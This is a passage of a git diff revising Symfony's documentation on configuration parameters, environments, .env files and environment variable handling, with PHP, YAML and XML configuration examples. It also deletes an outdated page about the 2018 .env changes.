config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return static function (ContainerConfigurator $container) { + return static function (ContainerConfigurator $container): void { $container->import('legacy_config.php'); // glob expressions are also supported to load multiple files @@ -179,6 +186,9 @@ reusable configuration value. By convention, parameters are defined under the app.some_constant: !php/const GLOBAL_CONSTANT app.another_constant: !php/const App\Entity\BlogPost::MAX_ITEMS + # Enum case as parameter values + app.some_enum: !php/enum App\Enum\PostState::Published + # ... .. code-block:: xml @@ -216,6 +226,9 @@ reusable configuration value. By convention, parameters are defined under the <!-- PHP constants as parameter values --> <parameter key="app.some_constant" type="constant">GLOBAL_CONSTANT</parameter> <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter> + + <!-- Enum case as parameter values --> + <parameter key="app.some_enum" type="constant">App\Enum\PostState::Published</parameter> </parameters> <!-- ... --> @@ -227,8 +240,9 @@ reusable configuration value. By convention, parameters are defined under the namespace Symfony\Component\DependencyInjection\Loader\Configurator; use App\Entity\BlogPost; + use App\Enum\PostState; - return static function (ContainerConfigurator $container) { + return static function (ContainerConfigurator $container): void { $container->parameters() // the parameter name is an arbitrary string (the 'app.' prefix is recommended // to better differentiate your parameters from Symfony parameters). @@ -245,15 +259,18 @@ reusable configuration value. By convention, parameters are defined under the // PHP constants as parameter values ->set('app.some_constant', GLOBAL_CONSTANT) - ->set('app.another_constant', BlogPost::MAX_ITEMS); + ->set('app.another_constant', BlogPost::MAX_ITEMS) + + // Enum case as parameter values + ->set('app.some_enum', PostState::Published); }; // ... -.. caution:: +.. warning:: - When using XML configuration, the values between ``<parameter>`` tags are - not trimmed. This means that the value of the following parameter will be + By default and when using XML configuration, the values between ``<parameter>`` + tags are not trimmed. This means that the value of the following parameter will be ``'\n something@example.com\n'``: .. code-block:: xml @@ -262,6 +279,15 @@ reusable configuration value. By convention, parameters are defined under the something@example.com </parameter> + If you want to trim the value of your parameter, use the ``trim`` attribute. + When using it, the value of the following parameter will be ``something@example.com``: + + .. code-block:: xml + + <parameter key="app.admin_email" trim="true"> + something@example.com + </parameter> + Once defined, you can reference this parameter value from any other configuration file using a special syntax: wrap the parameter name in two ``%`` (e.g. ``%app.admin_email%``): @@ -275,8 +301,6 @@ configuration file using a special syntax: wrap the parameter name in two ``%`` # any string surrounded by two % is replaced by that parameter value email_address: '%app.admin_email%' - # ... - .. code-block:: xml <!-- config/packages/some_package.xml --> @@ -299,21 +323,24 @@ configuration file using a special syntax: wrap the parameter name in two ``%`` // config/packages/some_package.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; + use function Symfony\Component\DependencyInjection\Loader\Configurator\param; - return static function (ContainerConfigurator $container) { + return static function (ContainerConfigurator $container): void { $container->extension('some_package', [ - // any string surrounded by two % is replaced by that parameter value - 'email_address' => '%app.admin_email%', + // when using the param() function, you only have to pass the parameter name... + 'email_address' => param('app.admin_email'), - // ... + // ... but if you prefer it, you can also pass the name as a string + // surrounded by two % (same as in YAML and XML formats) and Symfony will + // replace it by that parameter value + 'email_address' => '%app.admin_email%', ]); }; - .. note:: If some parameter value includes the ``%`` character, you need to escape it - by adding another ``%`` so Symfony doesn't consider it a reference to a + by adding another ``%``, so Symfony doesn't consider it a reference to a parameter name: .. configuration-block:: @@ -337,7 +364,7 @@ configuration file using a special syntax: wrap the parameter name in two ``%`` // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return static function (ContainerConfigurator $container) { + return static function (ContainerConfigurator $container): void { $container->parameters() ->set('url_pattern', 'http://symfony.com/?foo=%%s&bar=%%d'); }; @@ -348,14 +375,32 @@ Configuration parameters are very common in Symfony applications. Some packages even define their own parameters (e.g. when installing the translation package, a new ``locale`` parameter is added to the ``config/services.yaml`` file). +.. tip:: + + By convention, parameters whose names start with a dot ``.`` (for example, + ``.mailer.transport``), are available only during the container compilation. + They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>` + to declare some temporary parameters that won't be available later in the application. + +Configuration parameters are usually validation-free, but you can ensure that +essential parameters for your application's functionality are not empty:: + + /** @var ContainerBuilder $container */ + $container->parameterCannotBeEmpty('app.private_key', 'Did you forget to set a value for the "app.private_key" parameter?'); + +If a non-empty parameter is ``null``, an empty string ``''``, or an empty array ``[]``, +Symfony will throw an exception. This validation is **not** made at compile time +but when attempting to retrieve the value of the parameter. + +.. versionadded:: 7.2 + + Validating non-empty parameters was introduced in Symfony 7.2. + .. seealso:: Later in this article you can read how to :ref:`get configuration parameters in controllers and services <configuration-accessing-parameters>`. -.. index:: - single: Environments; Introduction - .. _page-creation-environments: .. _page-creation-prod-cache-clear: .. _configuration-environments: @@ -375,17 +420,19 @@ The files stored in ``config/packages/`` are used by Symfony to configure the the application behavior by changing which configuration files are loaded. That's the idea of Symfony's **configuration environments**. -A typical Symfony application begins with three environments: ``dev`` (for local -development), ``prod`` (for production servers) and ``test`` (for -:doc:`automated tests </testing>`). When running the application, Symfony loads -the configuration files in this order (the last files can override the values -set in the previous ones): +A typical Symfony application begins with three environments: + +* ``dev`` for local development, +* ``prod`` for production servers, +* ``test`` for :doc:`automated tests </testing>`. -#. ``config/packages/*.yaml`` (and ``*.xml`` and ``*.php`` files too); -#. ``config/packages/<environment-name>/*.yaml`` (and ``*.xml`` and ``*.php`` files too); -#. ``config/services.yaml`` (and ``services.xml`` and ``services.php`` files too); -#. ``config/services_<environment-name>.yaml`` (and ``services_<environment-name>.xml`` - and ``services_<environment-name>.php`` files too). +When running the application, Symfony loads the configuration files in this +order (the last files can override the values set in the previous ones): + +#. The files in ``config/packages/*.<extension>``; +#. the files in ``config/packages/<environment-name>/*.<extension>``; +#. ``config/services.<extension>``; +#. ``config/services_<environment-name>.<extension>``. Take the ``framework`` package, installed by default, as an example: @@ -403,6 +450,90 @@ In reality, each environment differs only somewhat from others. This means that all environments share a large base of common configuration, which is put in files directly in the ``config/packages/`` directory. +.. tip:: + + You can also define options for different environments in a single + configuration file using the special ``when`` keyword: + + .. configuration-block:: + + .. code-block:: yaml + + # config/packages/webpack_encore.yaml + webpack_encore: + # ... + output_path: '%kernel.project_dir%/public/build' + strict_mode: true + cache: false + + # cache is enabled only in the "prod" environment + when@prod: + webpack_encore: + cache: true + + # disable strict mode only in the "test" environment + when@test: + webpack_encore: + strict_mode: false + + # YAML syntax allows to reuse contents using "anchors" (&some_name) and "aliases" (*some_name). + # In this example, 'test' configuration uses the exact same configuration as in 'prod' + when@prod: &webpack_prod + webpack_encore: + # ... + when@test: *webpack_prod + + .. code-block:: xml + + <!-- config/packages/webpack_encore.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + <webpack-encore:config + output-path="%kernel.project_dir%/public/build" + strict-mode="true" + cache="false" + /> + + <!-- cache is enabled only in the "test" environment --> + <when env="prod"> + <webpack-encore:config cache="true"/> + </when> + + <!-- disable strict mode only in the "test" environment --> + <when env="test"> + <webpack-encore:config strict-mode="false"/> + </when> + </container> + + .. code-block:: php + + // config/packages/framework.php + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Config\WebpackEncoreConfig; + + return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container): void { + $webpackEncore + ->outputPath('%kernel.project_dir%/public/build') + ->strictMode(true) + ->cache(false) + ; + + // cache is enabled only in the "prod" environment + if ('prod' === $container->env()) { + $webpackEncore->cache(true); + } + + // disable strict mode only in the "test" environment + if ('test' === $container->env()) { + $webpackEncore->strictMode(false); + } + }; + .. seealso:: See the ``configureContainer()`` method of @@ -461,66 +592,84 @@ going to production: use `symbolic links`_ between ``config/packages/<environment-name>/`` directories to reuse the same configuration. +Instead of creating new environments, you can use environment variables as +explained in the following section. This way you can use the same application +and environment (e.g. ``prod``) but change its behavior thanks to the +configuration based on environment variables (e.g. to run the application in +different scenarios: staging, quality assurance, client review, etc.) + .. _config-env-vars: Configuration Based on Environment Variables -------------------------------------------- -Using `environment variables`_ (or "env vars" for short) is a common practice to -configure options that depend on where the application is run (e.g. the database -credentials are usually different in production versus your local machine). If -the values are sensitive, you can even :doc:`encrypt them as secrets </configuration/secrets>`. +Using `environment variables`_ (or "env vars" for short) is a common practice to: -You can reference environment variables using the special syntax -``%env(ENV_VAR_NAME)%``. The values of these options are resolved at runtime -(only once per request, to not impact performance). +* Configure options that depend on where the application is run (e.g. the database + credentials are usually different in production versus your local machine); +* Configure options that can change dynamically in a production environment (e.g. + to update the value of an expired API key without having to redeploy the entire + application). -This example shows how you could configure the database connection using an env var: +In other cases, it's recommended to keep using :ref:`configuration parameters <configuration-parameters>`. + +Use the special syntax ``%env(ENV_VAR_NAME)%`` to reference environment variables. +The values of these options are resolved at runtime (only once per request, to +not impact performance) so you can change the application behavior without having +to clear the cache. + +This example shows how you could configure the application secret using an env var: .. configuration-block:: .. code-block:: yaml - # config/packages/doctrine.yaml - doctrine: - dbal: - # by convention the env var names are always uppercase - url: '%env(resolve:DATABASE_URL)%' + # config/packages/framework.yaml + framework: + # by convention the env var names are always uppercase + secret: '%env(APP_SECRET)%' # ... .. code-block:: xml - <!-- config/packages/doctrine.xml --> + <!-- config/packages/framework.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:doctrine="http://symfony.com/schema/dic/doctrine" + xmlns:framework="http://symfony.com/schema/dic/framework" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/doctrine - https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd"> + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - <doctrine:config> - <!-- by convention the env var names are always uppercase --> - <doctrine:dbal url="%env(resolve:DATABASE_URL)%"/> - </doctrine:config> + <!-- by convention the env var names are always uppercase --> + <framework:config secret="%env(APP_SECRET)%"/> </container> .. code-block:: php - // config/packages/doctrine.php + // config/packages/framework.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return static function (ContainerConfigurator $container) { - $container->extension('doctrine', [ - 'dbal' => [ - // by convention the env var names are always uppercase - 'url' => '%env(resolve:DATABASE_URL)%', - ] + return static function (ContainerConfigurator $container): void { + $container->extension('framework', [ + // by convention the env var names are always uppercase + 'secret' => '%env(APP_SECRET)%', ]); }; +.. note:: + + Your env vars can also be accessed via the PHP super globals ``$_ENV`` and + ``$_SERVER`` (both are equivalent):: + + $databaseUrl = $_ENV['DATABASE_URL']; // mysql://db_user:db_password@127.0.0.1:3306/db_name + $env = $_SERVER['APP_ENV']; // prod + + However, in Symfony applications there's no need to use this, because the + configuration system provides a better way of working with env vars. + .. seealso:: The values of env vars can only be strings, but Symfony includes some @@ -533,12 +682,70 @@ To define the value of an env var, you have several options: * :ref:`Encrypt the value as a secret <configuration-secrets>`; * Set the value as a real environment variable in your shell or your web server. +If your application tries to use an env var that hasn't been defined, you'll see +an exception. You can prevent that by defining a default value for the env var. +To do so, define a parameter with the same name as the env var using this syntax: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/framework.yaml + parameters: + # if the SECRET env var value is not defined anywhere, Symfony uses this value + env(SECRET): 'some_secret' + + # ... + + .. code-block:: xml + + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <parameters> + <!-- if the SECRET env var value is not defined anywhere, Symfony uses this value --> + <parameter key="env(SECRET)">some_secret</parameter> + </parameters> + + <!-- ... --> + </container> + + .. code-block:: php + + // config/packages/framework.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container, FrameworkConfig $framework) { + // if the SECRET env var value is not defined anywhere, Symfony uses this value + $container->setParameter('env(SECRET)', 'some_secret'); + + // ... + }; + .. tip:: - Some hosts - like SymfonyCloud - offer easy `utilities to manage env vars`_ + Some hosts - like Platform.sh - offer easy `utilities to manage env vars`_ in production. -.. caution:: +.. note:: + + Some configuration features are not compatible with env vars. For example, + defining some container parameters conditionally based on the existence of + another configuration option. When using an env var, the configuration option + always exists, because its value will be ``null`` when the related env var + is not defined. + +.. danger:: Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables or outputting the ``phpinfo()`` contents will display the values of the @@ -579,6 +786,11 @@ In addition to your own env vars, this ``.env`` file also contains the env vars defined by the third-party packages installed in your application (they are added automatically by :ref:`Symfony Flex <symfony-flex>` when installing packages). +.. tip:: + + Since the ``.env`` file is read and parsed on every request, you don't need to + clear the Symfony cache or restart the PHP container if you're using Docker. + .env File Syntax ................ @@ -597,7 +809,7 @@ Use environment variables in values by prefixing variables with ``$``: DB_USER=root DB_PASS=${DB_USER}pass # include the user as a password prefix -.. caution:: +.. warning:: The order is important when some env var depends on the value of other env vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``. @@ -618,7 +830,7 @@ Embed commands via ``$()`` (not supported on Windows): START_TIME=$(date) -.. caution:: +.. warning:: Using ``$()`` might not work depending on your shell. @@ -660,7 +872,10 @@ the right situation: but the overrides only apply to one environment. *Real* environment variables always win over env vars created by any of the -``.env`` files. +``.env`` files. Note that this behavior depends on the +`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ +configuration, which must contain an ``E`` to expose the ``$_ENV`` superglobal. +This is the default configuration in PHP. The ``.env`` and ``.env.<environment>`` files should be committed to the repository because they are the same for all developers and machines. However, @@ -668,11 +883,24 @@ the env files ending in ``.local`` (``.env.local`` and ``.env.<environment>.loca **should not be committed** because only you will use them. In fact, the ``.gitignore`` file that comes with Symfony prevents them from being committed. -.. caution:: +Overriding Environment Variables Defined By The System +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to override an environment variable defined by the system, use the +``overrideExistingVars`` parameter defined by the +:method:`Symfony\\Component\\Dotenv\\Dotenv::loadEnv`, +:method:`Symfony\\Component\\Dotenv\\Dotenv::bootEnv`, and +:method:`Symfony\\Component\\Dotenv\\Dotenv::populate` methods:: + + use Symfony\Component\Dotenv\Dotenv; - Applications created before November 2018 had a slightly different system, - involving a ``.env.dist`` file. For information about upgrading, see: - :doc:`configuration/dot-env-changes`. + $dotenv = new Dotenv(); + $dotenv->loadEnv(__DIR__.'/.env', overrideExistingVars: true); + + // ... + +This will override environment variables defined by the system but it **won't** +override environment variables defined in ``.env`` files. .. _configuration-env-var-in-prod: @@ -680,25 +908,87 @@ Configuring Environment Variables in Production ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In production, the ``.env`` files are also parsed and loaded on each request. So -the easiest way to define env vars is by deploying a ``.env.local`` file to your +the easiest way to define env vars is by creating a ``.env.local`` file on your production server(s) with your production values. -To improve performance, you can optionally run the ``dump-env`` command (available -in :ref:`Symfony Flex <symfony-flex>` 1.2 or later): +To improve performance, you can optionally run the ``dump-env`` Composer command: .. code-block:: terminal # parses ALL .env files and dumps their final values to .env.local.php $ composer dump-env prod +.. sidebar:: Dumping Environment Variables without Composer + + If you don't have Composer installed in production, you can use the + ``dotenv:dump`` command instead (available in :ref:`Symfony Flex <symfony-flex>` + 1.2 or later). The command is not registered by default, so you must register + first in your services: + + .. code-block:: yaml + + # config/services.yaml + services: + Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~ + + Then, run the command: + + .. code-block:: terminal + + # parses ALL .env files and dumps their final values to .env.local.php + $ APP_ENV=prod APP_DEBUG=0 php bin/console dotenv:dump + After running this command, Symfony will load the ``.env.local.php`` file to get the environment variables and will not spend time parsing the ``.env`` files. .. tip:: - Update your deployment tools/workflow to run the ``dump-env`` command after + Update your deployment tools/workflow to run the ``dotenv:dump`` command after each deploy to improve the application performance. +Storing Environment Variables In Other Files +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, the environment variables are stored in the ``.env`` file located +at the root of your project. However, you can store them in other files in +multiple ways. + +If you use the :doc:`Runtime component </components/runtime>`, the dotenv +path is part of the options you can set in your ``composer.json`` file: + +.. code-block:: json + + { + // ... + "extra": { + // ... + "runtime": { + "dotenv_path": "my/custom/path/to/.env" + } + } + } + +As an alternate option, you can directly invoke the ``Dotenv`` class in your +``bootstrap.php`` file or any other file of your application:: + + use Symfony\Component\Dotenv\Dotenv; + + (new Dotenv())->bootEnv(dirname(__DIR__).'my/custom/path/to/.env'); + +Symfony will then look for the environment variables in that file, but also in +the local and environment-specific files (e.g. ``.*.local`` and +``.*.<environment>.local``). Read +:ref:`how to override environment variables <configuration-multiple-env-files>` +to learn more about this. + +If you need to know the path to the ``.env`` file that Symfony is using, you can +read the ``SYMFONY_DOTENV_PATH`` environment variable in your application. + +.. versionadded:: 7.1 + + The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony + 7.1. + .. _configuration-secrets: Encrypting Environment Variables (Secrets) @@ -711,20 +1001,54 @@ you can encrypt the value using the :doc:`secrets management system </configurat Listing Environment Variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Regardless of how you set environment variables, you can see a full list with -their values by running: +Use the ``debug:dotenv`` command to understand how Symfony parses the different +``.env`` files to set the value of each environment variable: + +.. code-block:: terminal + + $ php bin/console debug:dotenv + + Dotenv Variables & Files + ======================== + + Scanned Files (in descending priority) + -------------------------------------- + + * ⨯ .env.local.php + * ⨯ .env.dev.local + * ✓ .env.dev + * ⨯ .env.local + * ✓ .env + + Variables + --------- + + ---------- ------- ---------- ------ + Variable Value .env.dev .env + ---------- ------- ---------- ------ + FOO BAR n/a BAR + ALICE BOB BOB bob + ---------- ------- ---------- ------ + + # look for a specific variable passing its full or partial name as an argument + $ php bin/console debug:dotenv foo + +Additionally, and regardless of how you set environment variables, you can see all +environment variables, with their values, referenced in Symfony's container configuration, +you can also see the number of occurrences of each environment variable in the container: .. code-block:: terminal $ php bin/console debug:container --env-vars - ---------------- ----------------- --------------------------------------------- - Name Default value Real value - ---------------- ----------------- --------------------------------------------- - APP_SECRET n/a "471a62e2d601a8952deb186e44186cb3" - FOO "[1, "2.5", 3]" n/a - BAR null n/a - ---------------- ----------------- --------------------------------------------- + ------------ ----------------- ------------------------------------ ------------- + Name Default value Real value Usage count + ------------ ----------------- ------------------------------------ ------------- + APP_SECRET n/a "471a62e2d601a8952deb186e44186cb3" 2 + BAR n/a n/a 1 + BAZ n/a "value" 0 + FOO "[1, "2.5", 3]" n/a 1 + ------------ ----------------- ------------------------------------ ------------- # you can also filter the list of env vars by name: $ php bin/console debug:container --env-vars foo @@ -732,6 +1056,74 @@ their values by running: # run this command to show all the details for a specific env var: $ php bin/console debug:container --env-var=FOO +Creating Your Own Logic To Load Env Vars +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can implement your own logic to load environment variables if the default +Symfony behavior doesn't fit your needs. To do so, create a service whose class +implements :class:`Symfony\\Component\\DependencyInjection\\EnvVarLoaderInterface`. + +.. note:: + + If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, + the autoconfiguration feature will enable and tag this service automatically. + Otherwise, you need to register and :doc:`tag your service </service_container/tags>` + with the ``container.env_var_loader`` tag. + +Let's say you have a JSON file named ``env.json`` containing your environment +variables: + +.. code-block:: json + + { + "vars": { + "APP_ENV": "prod", + "APP_DEBUG": false + } + } + +You can define a class like the following ``JsonEnvVarLoader`` to populate the +environment variables from the file:: + + namespace App\DependencyInjection; + + use Symfony\Component\DependencyInjection\EnvVarLoaderInterface; + + final class JsonEnvVarLoader implements EnvVarLoaderInterface + { + private const ENV_VARS_FILE = 'env.json'; + + public function loadEnvVars(): array + { + $fileName = __DIR__.\DIRECTORY_SEPARATOR.self::ENV_VARS_FILE; + if (!is_file($fileName)) { + // throw an exception or just ignore this loader, depending on your needs + } + + $content = json_decode(file_get_contents($fileName), true); + + return $content['vars']; + } + } + +That's it! Now the application will look for a ``env.json`` file in the +current directory to populate environment variables (in addition to the +already existing ``.env`` files). + +.. tip:: + + If you want an env var to have a value on a certain environment but to fallback + on loaders on another environment, assign an empty value to the env var for + the environment you want to use loaders: + + .. code-block:: bash + + # .env (or .env.local) + APP_ENV=prod + + # .env.prod (or .env.prod.local) - this will fallback on the loaders you defined + APP_ENV= + .. _configuration-accessing-parameters: Accessing Configuration Parameters @@ -753,12 +1145,13 @@ use the ``getParameter()`` helper:: namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; class UserController extends AbstractController { // ... - public function index() + public function index(): Response { $projectDir = $this->getParameter('kernel.project_dir'); $adminEmail = $this->getParameter('app.admin_email'); @@ -812,7 +1205,7 @@ doesn't work for parameters: use App\Service\MessageGenerator; - return static function (ContainerConfigurator $container) { + return static function (ContainerConfigurator $container): void { $container->parameters() ->set('app.contents_dir', '...'); @@ -867,19 +1260,14 @@ whenever a service/controller defines a ``$projectDir`` argument, use this: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - use App\Controller\LuckyController; - use Psr\Log\LoggerInterface; - use Symfony\Component\DependencyInjection\Reference; - - return static function (ContainerConfigurator $container) { + return static function (ContainerConfigurator $container): void { $container->services() - ->set(LuckyController::class) - ->public() - ->args([ - // pass this value to any $projectDir argument for any service - // that's created in this file (including controller arguments) - '$projectDir' => '%kernel.project_dir%', - ]); + ->defaults() + // pass this value to any $projectDir argument for any service + // that's created in this file (including controller arguments) + ->bind('$projectDir', '%kernel.project_dir%'); + + // ... }; .. seealso:: @@ -901,14 +1289,12 @@ parameters at once by type-hinting any of its constructor arguments with the class MessageGenerator { - private $params; - - public function __construct(ContainerBagInterface $params) - { - $this->params = $params; + public function __construct( + private ContainerBagInterface $params, + ) { } - public function someMethod() + public function someMethod(): void { // get any container parameter from $this->params, which stores all of them $sender = $this->params->get('mailer_sender'); @@ -916,6 +1302,52 @@ parameters at once by type-hinting any of its constructor arguments with the } } +.. _config-config-builder: + +Using PHP ConfigBuilders +------------------------ + +Writing PHP config is sometimes difficult because you end up with large nested +arrays and you have no autocompletion help from your favorite IDE. A way to +address this is to use "ConfigBuilders". They are objects that will help you +build these arrays. + +Symfony generates the ConfigBuilder classes automatically in the +:ref:`kernel build directory <configuration-kernel-build-directory>` for all the +bundles installed in your application. By convention they all live in the +namespace ``Symfony\Config``:: + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->pattern('^/*') + ->lazy(true) + ->security(false); + + $security + ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER']) + ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH']) + ->accessControl() + ->path('^/user') + ->roles('ROLE_USER'); + + $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']); + }; + +.. note:: + + Only root classes in the namespace ``Symfony\Config`` are ConfigBuilders. + Nested configs (e.g. ``\Symfony\Config\Framework\CacheConfig``) are regular + PHP objects which aren't autowired when using them as an argument type. + +.. note:: + + In order to get ConfigBuilders autocompletion in your IDE/editor, make sure + to not exclude the directory where these classes are generated (by default, + in ``var/cache/dev/Symfony/Config/``). + Keep Going! ----------- @@ -940,4 +1372,4 @@ And all the other topics related to configuration: .. _`Learn the XML syntax`: https://en.wikipedia.org/wiki/XML .. _`environment variables`: https://en.wikipedia.org/wiki/Environment_variable .. _`symbolic links`: https://en.wikipedia.org/wiki/Symbolic_link -.. _`utilities to manage env vars`: https://symfony.com/doc/master/cloud/cookbooks/env.html +.. _`utilities to manage env vars`: https://symfony.com/doc/current/cloud/env.html diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst deleted file mode 100644 index 89844d991b1..00000000000 --- a/configuration/dot-env-changes.rst +++ /dev/null @@ -1,93 +0,0 @@ -Nov 2018 Changes to .env & How to Update -======================================== - -In November 2018, several changes were made to the core Symfony *recipes* related -to the ``.env`` file. These changes make working with environment variables easier -and more consistent - especially when writing functional tests. - -If your app was started before November 2018, your app **does not require any changes -to keep working**. However, if/when you are ready to take advantage of these improvements, -you will need to make a few small updates. - -What Changed Exactly? ---------------------- - -But first, what changed? On a high-level, not much. Here's a summary of the most -important changes: - -* A) The ``.env.dist`` file no longer exists. Its contents should be moved to your - ``.env`` file (see the next point). - -* B) The ``.env`` file **is** now committed to your repository. It was previously ignored - via the ``.gitignore`` file (the updated recipe does not ignore this file). Because - this file is committed, it should contain non-sensitive, default values. The - ``.env`` can be seen as the previous ``.env.dist`` file. - -* C) A ``.env.local`` file can now be created to *override* values in ``.env`` for - your machine. This file is ignored in the new ``.gitignore``. - -* D) When testing, your ``.env`` file is now read, making it consistent with all - other environments. You can also create a ``.env.test`` file for test-environment - overrides. - -* E) `One further change to the recipe in January 2019`_ means that your ``.env`` - files are *always* loaded, even if you set an ``APP_ENV=prod`` environment - variable. The purpose is for the ``.env`` files to define default values that - you can override if you want to with real environment values. - -There are a few other improvements, but these are the most important. To take advantage -of these, you *will* need to modify a few files in your existing app. - -Updating My Application ------------------------ - -If you created your application after November 15th 2018, you don't need to make -any changes! Otherwise, here is the list of changes you'll need to make - these -changes can be made to any Symfony 3.4 or higher app: - -#. Update your ``public/index.php`` file to add the code of the `public/index.php`_ - file provided by Symfony. If you've customized this file, make sure to keep - those changes (but add the rest of the changes made by Symfony). - -#. Update your ``bin/console`` file to add the code of the `bin/console`_ file - provided by Symfony. - -#. Update ``.gitignore``: - - .. code-block:: diff - - # .gitignore - # ... - - ###> symfony/framework-bundle ### - - /.env - + /.env.local - + /.env.local.php - + /.env.*.local - - # ... - -#. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``: - - .. code-block:: terminal - - # Unix - $ mv .env .env.local - $ git mv .env.dist .env - - # Windows - C:\> move .env .env.local - C:\> git mv .env.dist .env - - You can also update the `comment on the top of .env`_ to reflect the new changes. - -#. If you're using PHPUnit, you will also need to `create a new .env.test`_ file - and update your `phpunit.xml.dist file`_ so it loads the ``tests/bootstrap.php`` - file. - -.. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php -.. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console -.. _`comment on the top of .env`: https://github.com/symfony/recipes/blob/master/symfony/flex/1.0/.env -.. _`create a new .env.test`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/.env.test -.. _`phpunit.xml.dist file`: https://github.com/symfony/recipes/blob/master/symfony/phpunit-bridge/3.3/phpunit.xml.dist -.. _`One further change to the recipe in January 2019`: https://github.com/symfony/recipes/pull/501 diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst index b9782d270cd..936d93c1061 100644 --- a/configuration/env_var_processors.rst +++ b/configuration/env_var_processors.rst @@ -1,6 +1,3 @@ -.. index:: - single: Environment Variable Processors; env vars - .. _env-var-processors: Environment Variable Processors @@ -44,11 +41,17 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'router' => [ - 'http_port' => '%env(int:HTTP_PORT)%', - ], - ]); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->router() + ->httpPort('%env(int:HTTP_PORT)%') + // or + ->httpPort(env('HTTP_PORT')->int()) + ; + }; Built-In Environment Variable Processors ---------------------------------------- @@ -90,14 +93,20 @@ Symfony provides the following env var processors: .. code-block:: php // config/packages/framework.php - $container->setParameter('env(SECRET)', 'some_secret'); - $container->loadFromExtension('framework', [ - 'secret' => '%env(string:SECRET)%', - ]); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container, FrameworkConfig $framework): void { + $container->setParameter('env(SECRET)', 'some_secret'); + $framework->secret(env('SECRET')->string()); + }; ``env(bool:FOO)`` - Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'`` - and all numbers except ``0`` and ``0.0``; everything else is ``false``): + Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``, + all numbers except ``0`` and ``0.0`` and all numeric strings except ``'0'`` + and ``'0.0'``; everything else is ``false``): .. configuration-block:: @@ -131,10 +140,50 @@ Symfony provides the following env var processors: .. code-block:: php // config/packages/framework.php - $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true'); - $container->loadFromExtension('framework', [ - 'http_method_override' => '%env(bool:HTTP_METHOD_OVERRIDE)%', - ]); + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Config\FrameworkConfig; + + return static function (ContainerBuilder $container, FrameworkConfig $framework): void { + $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true'); + 